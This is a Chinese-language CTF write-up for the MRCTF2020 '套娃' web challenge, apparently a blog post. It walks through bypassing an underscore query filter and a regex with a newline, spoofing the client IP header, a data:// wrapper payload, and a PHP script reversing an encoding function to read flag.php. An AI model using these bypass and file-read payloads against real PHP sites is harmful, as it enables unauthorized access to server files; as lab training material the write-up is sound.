• 刷题[MRCTF2020]套娃


    解题思路

    查看源码,发现注释中存在代码

    //1st
    $query = $_SERVER['QUERY_STRING'];
    
     if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
        die('Y0u are So cutE!');
    }
     if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
        echo "you are going to the next ~";
    }
    

    $_SERVER['QUERY_STRING']获取查询语句,既要绕过get参数中下划线的的过滤,还要绕过正则匹配的23333

    我们这里可以利用php字符串的解析特性进行bypass,具体看此篇

    最后payload:?b.u.p.t=23333%0a

    根据提示进入secrettw.php,发现一串jsfuck,放进控制台中回车

    post提交参数后发现得到一串代码,代码审计

    代码审计

    <?php 
    error_reporting(0); 
    include 'takeip.php';
    ini_set('open_basedir','.'); 
    include 'flag.php';
    
    if(isset($_POST['Merak'])){ 
        highlight_file(__FILE__); 
        die(); 
    } 
    
    
    function change($v){ 
        $v = base64_decode($v); 
        $re = ''; 
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) + $i*2 ); 
        } 
        return $re; 
    }
    echo 'Local access only!'."<br/>";
    $ip = getIp();
    if($ip!='127.0.0.1')
    echo "Sorry,you don't have permission!  Your ip is :".$ip;
    if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file'])); }
    ?>  
    

    首先我们看,需要IP为127.0.0.1,使用client-ip即可伪造,后面需要传入的get参数2333的值强等于'todat is a happy day',那么我们考虑使用伪协议data://

    payload:?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

    后面又需要,将传入的file参数进行change函数处理,审计change参数,我们只需对其进行逆运算即可

    <?php
    $v = 'flag.php';
    
    function dechange($v) {
    	$re = '';
    	for ($i = 0; $i < strlen($v); $i++) {
    		$re .= chr(ord($v[$i]) - $i * 2);
    	}
    	return base64_encode($re);
    }
    echo dechange($v);
    

    执行,最后的payload为:ZmpdYSZmXGI=

    总结思路

    根据提示,一步一步绕过,最终getflag

    知识点

    • php字符串解析特性bypass
    • 根据加密函数写出解密函数
  • 相关阅读:
    Java 网络编程的一些概念
    Java多线程之线程池
    Java多线程之线程协作
    Java多线程之线程同步
    Java 线程的基本使用
    线程的概念
    在Java中使用RabbitMQ
    Java Web
    Java 集合
    RabbitMQ的下载、安装
  • 原文地址:https://www.cnblogs.com/karsa/p/13651908.html
Copyright © 2020-2023  润新知